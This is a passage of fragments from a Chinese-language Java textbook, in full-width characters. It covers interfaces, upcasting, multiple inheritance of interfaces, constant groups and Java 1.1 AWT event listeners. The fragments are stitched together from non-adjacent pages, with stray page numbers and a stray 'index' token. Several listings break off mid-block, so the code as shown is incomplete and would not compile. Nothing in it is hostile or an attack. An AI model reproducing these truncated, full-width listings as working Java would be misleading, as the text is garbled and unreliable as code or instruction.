Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｗｉｎｄ５＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｐｅｒｃｕｓｓｉｏｎ５ ｉｍｐｌｅｍｅｎｔｓ Ｉｎｓｔｒｕｍｅｎｔ５ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｅｒｃｕｓｓｉｏｎ５．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｐｅｒｃｕｓｓｉｏｎ５＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｓｔｒｉｎｇｅｄ５ ｉｍｐｌｅｍｅｎｔｓ Ｉｎｓｔｒｕｍｅｎｔ５ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｔｒｉｎｇｅｄ５．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｓｔｒｉｎｇｅｄ５＂； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛｝ ｝ ｃｌａｓｓ Ｂｒａｓｓ５ ｅｘｔｅｎｄｓ Ｗｉｎｄ５ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ５．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｊｕｓｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｒａｓｓ５．ａｄｊｕｓｔ（）＂）； ｝ ｝ ｃｌａｓｓ Ｗｏｏｄｗｉｎｄ５ ｅｘｔｅｎｄｓ Ｗｉｎｄ５ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｗｏｏｄｗｉｎｄ５．ｐｌａｙ（）＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｗｈａｔ（） ｛ ｒｅｔｕｒｎ ＂Ｗｏｏｄｗｉｎｄ５＂； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｍｕｓｉｃ５ ｛ １７３ ／／ Ｄｏｅｓｎ＇ｔ ｃａｒｅ ａｂｏｕｔ ｔｙｐｅ， ｓｏ ｎｅｗ ｔｙｐｅｓ ／／ ａｄｄｅｄ ｔｏ ｔｈｅ ｓｙｓｔｅｍ ｓｔｉｌｌ ｗｏｒｋ ｒｉｇｈｔ： ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｉｎｓｔｒｕｍｅｎｔ５ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅＡｌｌ（Ｉｎｓｔｒｕｍｅｎｔ５［］ ｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｅ．ｌｅｎｇｔｈ； ｉ＋＋） ｔｕｎｅ（ｅ［ｉ］）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｓｔｒｕｍｅｎｔ５［］ ｏｒｃｈｅｓｔｒａ ＝ ｎｅｗ Ｉｎｓｔｒｕｍｅｎｔ５［５］； ｉｎｔ ｉ ＝ ０； ／／ Ｕｐｃａｓｔｉｎｇ ｄｕｒｉｎｇ ａｄｄｉｔｉｏｎ ｔｏ ｔｈｅ ａｒｒａｙ： ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｗｉｎｄ５（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｐｅｒｃｕｓｓｉｏｎ５（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｓｔｒｉｎｇｅｄ５（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｂｒａｓｓ５（）； ｏｒｃｈｅｓｔｒａ［ｉ＋＋］ ＝ ｎｅｗ Ｗｏｏｄｗｉｎｄ５（）； ｔｕｎｅＡｌｌ（ｏｒｃｈｅｓｔｒａ）；"},
    {"text": "我们可以自由决定上溯造型到一个名为 Ｉｎｓｔｒｕｍｅｎｔ５ 的“普通”类，一 个名为 Ｉｎｓｔｒｕｍｅｎｔ５ 的“抽象”类，或者一个名为 Ｉｎｓｔｒｕｍｅｎｔ５ 的“接口”。"},
    {"text": "下面这个例子展示了一个“具体”类同几个接口合并的情况，它最终生成了一个新类： １７４ ／／： Ａｄｖｅｎｔｕｒｅ．ｊａｖａ ／／ Ｍｕｌｔｉｐｌｅ ｉｎｔｅｒｆａｃｅｓ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｉｎｔｅｒｆａｃｅ ＣａｎＦｉｇｈｔ ｛ ｖｏｉｄ ｆｉｇｈｔ（）； ｝ ｉｎｔｅｒｆａｃｅ ＣａｎＳｗｉｍ ｛ ｖｏｉｄ ｓｗｉｍ（）； ｝ ｉｎｔｅｒｆａｃｅ ＣａｎＦｌｙ ｛ ｖｏｉｄ ｆｌｙ（）； ｝ ｃｌａｓｓ ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｆｉｇｈｔ（） ｛｝ ｝ ｃｌａｓｓ Ｈｅｒｏ ｅｘｔｅｎｄｓ ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ ｉｍｐｌｅｍｅｎｔｓ ＣａｎＦｉｇｈｔ， ＣａｎＳｗｉｍ， ＣａｎＦｌｙ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｓｗｉｍ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｆｌｙ（） ｛｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ａｄｖｅｎｔｕｒｅ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｔ（ＣａｎＦｉｇｈｔ ｘ） ｛ ｘ．ｆｉｇｈｔ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｕ（ＣａｎＳｗｉｍ ｘ） ｛ ｘ．ｓｗｉｍ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｖ（ＣａｎＦｌｙ ｘ） ｛ ｘ．ｆｌｙ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｗ（ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ ｘ） ｛ ｘ．ｆｉｇｈｔ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｈｅｒｏ ｉ ＝ ｎｅｗ Ｈｅｒｏ（）； ｔ（ｉ）； ／／ Ｔｒｅａｔ ｉｔ ａｓ ａ ＣａｎＦｉｇｈｔ ｕ（ｉ）； ／／ Ｔｒｅａｔ ｉｔ ａｓ ａ ＣａｎＳｗｉｍ ｖ（ｉ）； ／／ Ｔｒｅａｔ ｉｔ ａｓ ａ ＣａｎＦｌｙ ｗ（ｉ）；"},
    {"text": "／／ Ｔｒｅａｔ ｉｔ ａｓ ａｎ ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ ｝ ｝ ／／／：￣ 从中可以看到，Ｈｅｒｏ 将具体类 ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ 同接口 ＣａｎＦｉｇｈｔ，ＣａｎＳｗｉｍ 以及 ＣａｎＦｌｙ 合并起来。"},
    {"text": "请注意 ｆｉｇｈｔ（）的签名在 ＣａｎＦｉｇｈｔ 接口与 ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ 类中是相同的，而且没有在 Ｈｅｒｏ 中为ｆｉｇｈｔ（）提 供一个具体的定义。"},
    {"text": "尽管 Ｈｅｒｏ 没有为 ｆｉｇｈｔ（）明确地提供 一个定义，但定义是随同 ＡｃｔｉｏｎＣｈａｒａｃｔｅｒ 来的，所以这个定义会自动提供，我们可以创建 Ｈｅｒｏ 的对象。"},
    {"text": "注意上述例子已向我们揭示了接口最关键的作用，也是使用接口最重要的一个原因：能上溯造型至多个基础 类。 使用接口的第二个原因与使用抽象基础类的原因是一样的：防止客户程序员制作这个类的一个对象，以 １７５ 及规定它仅仅是一个接口。"},
    {"text": "这样便带来了一个问题：到底应该使用一个接口还是一个抽象类呢？ 若使用接 口，我们可以同时获得抽象类以及接口的好处。 所以假如想创建的基础类没有任何方法定义或者成员变量， 那么无论如何都愿意使用接口，而不要选择抽象类。 事实上，如果事先知道某种东西会成为基础类，那么第 一个选择就是把它变成一个接口。"},
    {"text": "在这两种情 况下，最终得到的都是一个新接口，如下例所示： ／／： ＨｏｒｒｏｒＳｈｏｗ．ｊａｖａ ／／ Ｅｘｔｅｎｄｉｎｇ ａｎ ｉｎｔｅｒｆａｃｅ ｗｉｔｈ ｉｎｈｅｒｉｔａｎｃｅ ｉｎｔｅｒｆａｃｅ Ｍｏｎｓｔｅｒ ｛ ｖｏｉｄ ｍｅｎａｃｅ（）；"},
    {"text": "｝ ｉｎｔｅｒｆａｃｅ ＤａｎｇｅｒｏｕｓＭｏｎｓｔｅｒ ｅｘｔｅｎｄｓ Ｍｏｎｓｔｅｒ ｛ ｖｏｉｄ ｄｅｓｔｒｏｙ（）； ｝ ｉｎｔｅｒｆａｃｅ Ｌｅｔｈａｌ ｛ ｖｏｉｄ ｋｉｌｌ（）； ｝ ｃｌａｓｓ ＤｒａｇｏｎＺｉｌｌａ ｉｍｐｌｅｍｅｎｔｓ ＤａｎｇｅｒｏｕｓＭｏｎｓｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｅｎａｃｅ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｄｅｓｔｒｏｙ（） ｛｝ ｝ ｉｎｔｅｒｆａｃｅ Ｖａｍｐｉｒｅ ｅｘｔｅｎｄｓ ＤａｎｇｅｒｏｕｓＭｏｎｓｔｅｒ， Ｌｅｔｈａｌ ｛ ｖｏｉｄ ｄｒｉｎｋＢｌｏｏｄ（）； ｝ ｃｌａｓｓ ＨｏｒｒｏｒＳｈｏｗ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｕ（Ｍｏｎｓｔｅｒ ｂ） ｛ ｂ．ｍｅｎａｃｅ（）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｖ（ＤａｎｇｅｒｏｕｓＭｏｎｓｔｅｒ ｄ） ｛ ｄ．ｍｅｎａｃｅ（）； ｄ．ｄｅｓｔｒｏｙ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＤｒａｇｏｎＺｉｌｌａ ｉｆ２ ＝ ｎｅｗ ＤｒａｇｏｎＺｉｌｌａ（）； ｕ（ｉｆ２）； ｖ（ｉｆ２）；"},
    {"text": "１７６ ７ ． ５ ． ３ 常数分组 由于置入一个接口的所有字段都自动具有 ｓｔａｔｉｃ 和 ｆｉｎａｌ 属性，所以接口是对常数值进行分组的一个好工 具，它具有与 Ｃ 或 Ｃ＋＋的 ｅｎｕｍ 非常相似的效果。"},
    {"text": "如下例所示： ／／： Ｍｏｎｔｈｓ．ｊａｖａ ／／ Ｕｓｉｎｇ ｉｎｔｅｒｆａｃｅｓ ｔｏ ｃｒｅａｔｅ ｇｒｏｕｐｓ ｏｆ ｃｏｎｓｔａｎｔｓ ｐａｃｋａｇｅ ｃ０７； ｐｕｂｌｉｃ ｉｎｔｅｒｆａｃｅ Ｍｏｎｔｈｓ ｛ ｉｎｔ ＪＡＮＵＡＲＹ ＝ １， ＦＥＢＲＵＡＲＹ ＝ ２， ＭＡＲＣＨ ＝ ３， ＡＰＲＩＬ ＝ ４， ＭＡＹ ＝ ５， ＪＵＮＥ ＝ ６， ＪＵＬＹ ＝ ７， ＡＵＧＵＳＴ ＝ ８， ＳＥＰＴＥＭＢＥＲ ＝ ９， ＯＣＴＯＢＥＲ ＝ １０， ＮＯＶＥＭＢＥＲ ＝ １１， ＤＥＣＥＭＢＥＲ ＝ １２；"},
    {"text": "｝ ／／／：￣ 注意根据 Ｊａｖａ 命名规则，拥有固定标识符的 ｓｔａｔｉｃ ｆｉｎａｌ 基本数据类型（亦即编译期常数）都全部采用大 写字母（用下划线分隔单个标识符里的多个单词）。"},
    {"text": "index ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＦｉｌｅＤｉａｌｏｇＮｅｗ（）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "下面的例子证明了这一点： ／／： ＤｙｎａｍｉｃＥｖｅｎｔｓ．ｊａｖａ ／／ Ｔｈｅ ｎｅｗ Ｊａｖａ １．１ ｅｖｅｎｔ ｍｏｄｅｌ ａｌｌｏｗｓ ｙｏｕ ｔｏ ／／ ｃｈａｎｇｅ ｅｖｅｎｔ ｂｅｈａｖｉｏｒ ｄｙｎａｍｉｃａｌｌｙ． Ａｌｓｏ ／／ ｄｅｍｏｎｓｔｒａｔｅｓ ｍｕｌｔｉｐｌｅ ａｃｔｉｏｎｓ ｆｏｒ ａｎ ｅｖｅｎｔ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤｙｎａｍｉｃＥｖｅｎｔｓ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｉｎｔ ｉ ＝ ０； Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ＤｙｎａｍｉｃＥｖｅｎｔｓ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ（））； ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２（））； ４３１ ａｄｄ（ｂ１）； ａｄｄ（ｂ２）； ｝ ｃｌａｓｓ Ｂ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａ ｂｕｔｔｏｎ ｗａｓ ｐｒｅｓｓｅｄ＂）； ｝ ｝ ｃｌａｓｓ ＣｏｕｎｔＬｉｓｔｅｎｅｒ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｉｎｔ ｉｎｄｅｘ； ｐｕｂｌｉｃ ＣｏｕｎｔＬｉｓｔｅｎｅｒ（ｉｎｔ ｉ） ｛ ｉｎｄｅｘ ＝ ｉ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｕｎｔｅｄ Ｌｉｓｔｅｎｅｒ ＂ ＋ ｉｎｄｅｘ）； ｝ ｝ ｃｌａｓｓ Ｂ１ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ １ ｐｒｅｓｓｅｄ＂）； ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａ ＝ ｎｅｗ ＣｏｕｎｔＬｉｓｔｅｎｅｒ（ｉ＋＋）； ｖ．ａｄｄＥｌｅｍｅｎｔ（ａ）； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａ）； ｝ ｝ ｃｌａｓｓ Ｂ２ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｂｕｔｔｏｎ ２ ｐｒｅｓｓｅｄ＂）； ｉｎｔ ｅｎｄ ＝ ｖ．ｓｉｚｅ（） －１； ｉｆ（ｅｎｄ ＞＝ ０） ｛ ｂ２．ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ （ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ）ｖ．ｅｌｅｍｅｎｔＡｔ（ｅｎｄ））； ｖ．ｒｅｍｏｖｅＥｌｅｍｅｎｔＡｔ（ｅｎｄ）； ｝ ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｆ ＝ ｎｅｗ ＤｙｎａｍｉｃＥｖｅｎｔｓ（）； ｆ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "通常，组件把事件作为多造型处理，这意味着我们可以为单个 事件注册许多接收器。 当在特殊的组件中一个事件作为单一造型被处理时，我们会得到 ＴｏｏＭａｎｙＬｉｓｔｅｎｅｒｓＥｘｃｅｐｔｉｏｎ（即太多接收器异常）。"},
    {"text": "增加用我们前面见到过的方法完成，但每个组 件同样有一个 ｒｅｍｏｖｅＸＸＸＬｉｓｔｅｎｅｒ（）（删除 ＸＸＸ 接收器）方法来删除各种类型的接收器。"},
    {"text": "下面的例子演示了从 ＧＵＩ 代码中多么地轻松的区分事物逻辑： ／／： Ｓｅｐａｒａｔｉｏｎ．ｊａｖａ ／／ Ｓｅｐａｒａｔｉｎｇ ＧＵＩ ｌｏｇｉｃ ａｎｄ ｂｕｓｉｎｅｓｓ ｏｂｊｅｃｔｓ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｃｌａｓｓ ＢｕｓｉｎｅｓｓＬｏｇｉｃ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｍｏｄｉｆｉｅｒ； ＢｕｓｉｎｅｓｓＬｏｇｉｃ（ｉｎｔ ｍｏｄ） ｛ ｍｏｄｉｆｉｅｒ ＝ ｍｏｄ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＭｏｄｉｆｉｅｒ（ｉｎｔ ｍｏｄ） ｛ ｍｏｄｉｆｉｅｒ ＝ ｍｏｄ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＭｏｄｉｆｉｅｒ（） ｛ ｒｅｔｕｒｎ ｍｏｄｉｆｉｅｒ； ｝ ／／ Ｓｏｍｅ ｂｕｓｉｎｅｓｓ ｏｐｅｒａｔｉｏｎｓ： ｐｕｂｌｉｃ ｉｎｔ ｃａｌｃｕｌａｔｉｏｎ１（ｉｎｔ ａｒｇ） ｛ ｒｅｔｕｒｎ ａｒｇ ＊ ｍｏｄｉｆｉｅｒ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｃａｌｃｕｌａｔｉｏｎ２（ｉｎｔ ａｒｇ） ｛ ｒｅｔｕｒｎ ａｒｇ ＋ ｍｏｄｉｆｉｅｒ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｅｐａｒａｔｉｏｎ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（２０）， ｍｏｄ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（２０）； ＢｕｓｉｎｅｓｓＬｏｇｉｃ ｂｌ ＝ ｎｅｗ ＢｕｓｉｎｅｓｓＬｏｇｉｃ（２）； Ｂｕｔｔｏｎ ｃａｌｃ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｃａｌｃｕｌａｔｉｏｎ １＂）， ｃａｌｃ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｃａｌｃｕｌａｔｉｏｎ ２＂）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ４３３ ａｄｄ（ｔ）； ｃａｌｃ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｃａｌｃ１Ｌ（））； ｃａｌｃ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｃａｌｃ２Ｌ（））； ａｄｄ（ｃａｌｃ１）； ａｄｄ（ｃａｌｃ２）； ｍｏｄ．ａｄｄＴｅｘｔＬｉｓｔｅｎｅｒ（ｎｅｗ ＭｏｄＬ（））； ａｄｄ（ｎｅｗ Ｌａｂｅｌ（＂Ｍｏｄｉｆｉｅｒ：＂））； ａｄｄ（ｍｏｄ）； ｝ ｓｔａｔｉｃ ｉｎｔ ｇｅｔＶａｌｕｅ（ＴｅｘｔＦｉｅｌｄ ｔｆ） ｛ ｔｒｙ ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｔｆ．ｇｅｔＴｅｘｔ（））； ｝ ｃａｔｃｈ（ＮｕｍｂｅｒＦｏｒｍａｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｒｅｔｕｒｎ ０； ｝ ｝ ｃｌａｓｓ Ｃａｌｃ１Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ ｂｌ．ｃａｌｃｕｌａｔｉｏｎ１（ｇｅｔＶａｌｕｅ（ｔ））））； ｝ ｝ ｃｌａｓｓ Ｃａｌｃ２Ｌ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｔ．ｓｅｔＴｅｘｔ（Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ ｂｌ．ｃａｌｃｕｌａｔｉｏｎ２（ｇｅｔＶａｌｕｅ（ｔ））））； ｝ ｝ ｃｌａｓｓ ＭｏｄＬ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｅ） ｛ ｂｌ．ｓｅｔＭｏｄｉｆｉｅｒ（ｇｅｔＶａｌｕｅ（ｍｏｄ））； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｅｐａｒａｔｉｏｎ ａｐｐｌｅｔ ＝ ｎｅｗ Ｓｅｐａｒａｔｉｏｎ（）； Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂Ｓｅｐａｒａｔｉｏｎ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ａＦｒａｍｅ．ａｄｄ（ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（２００，２００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "１ ３ ． １ ６ ． ７ 推荐编码方法 内部类是新的事件模型，并且事实上旧的事件模型连同新库的特征都被它好的支持，依赖老式的编程方法无 疑增加了一个新的混乱的因素。"},
    {"text": "在这一节中，我们将看到一些关 于我们会和不会运行新 ＡＷＴ 的争执，并由向我们展示除了可以原谅的情况，我们可以随时使用接收器类去解 决我们的事件处理需要来结束。"},
    {"text": "在看到任何事以前，我们知道尽管 Ｊａｖａ １．１ 向后兼容 Ｊａｖａ １．０（也就是说，我们可以在 １．１ 中编译和运行 １．０ 的程序），但我们并不能在同一个程序里混合事件模型。"},
    {"text": "换言之，当我们试图集成老的代码到一个新的 程序中时，我们不能使用老式的 ａｃｔｉｏｎ（）方法在同一个程序中，因此我们必须决定是否对新程序使用老的， 难以维护的方法或者升级老的代码。"},
    {"text": "／／： ＧｏｏｄＩｄｅａ．ｊａｖａ ／／ Ｔｈｅ ｂｅｓｔ ｗａｙ ｔｏ ｄｅｓｉｇｎ ｃｌａｓｓｅｓ ｕｓｉｎｇ ｔｈｅ ｎｅｗ ／／ Ｊａｖａ １．１ ｅｖｅｎｔ ｍｏｄｅｌ： ｕｓｅ ａｎ ｉｎｎｅｒ ｃｌａｓｓ ｆｏｒ ／／ ｅａｃｈ ｄｉｆｆｅｒｅｎｔ ｅｖｅｎｔ． Ｔｈｉｓ ｍａｘｉｍｉｚｅｓ ／／ ｆｌｅｘｉｂｉｌｉｔｙ ａｎｄ ｍｏｄｕｌａｒｉｔｙ． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ ＧｏｏｄＩｄｅａ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ Ｂｕｔｔｏｎ ｂ１ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｂｕｔｔｏｎ ２＂）； ｐｕｂｌｉｃ ＧｏｏｄＩｄｅａ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＦｌｏｗＬａｙｏｕｔ（））； ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ１Ｌ（））； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ Ｂ２Ｌ（））； ａｄｄ（ｂ１）； ａｄｄ（ｂ２）；"},
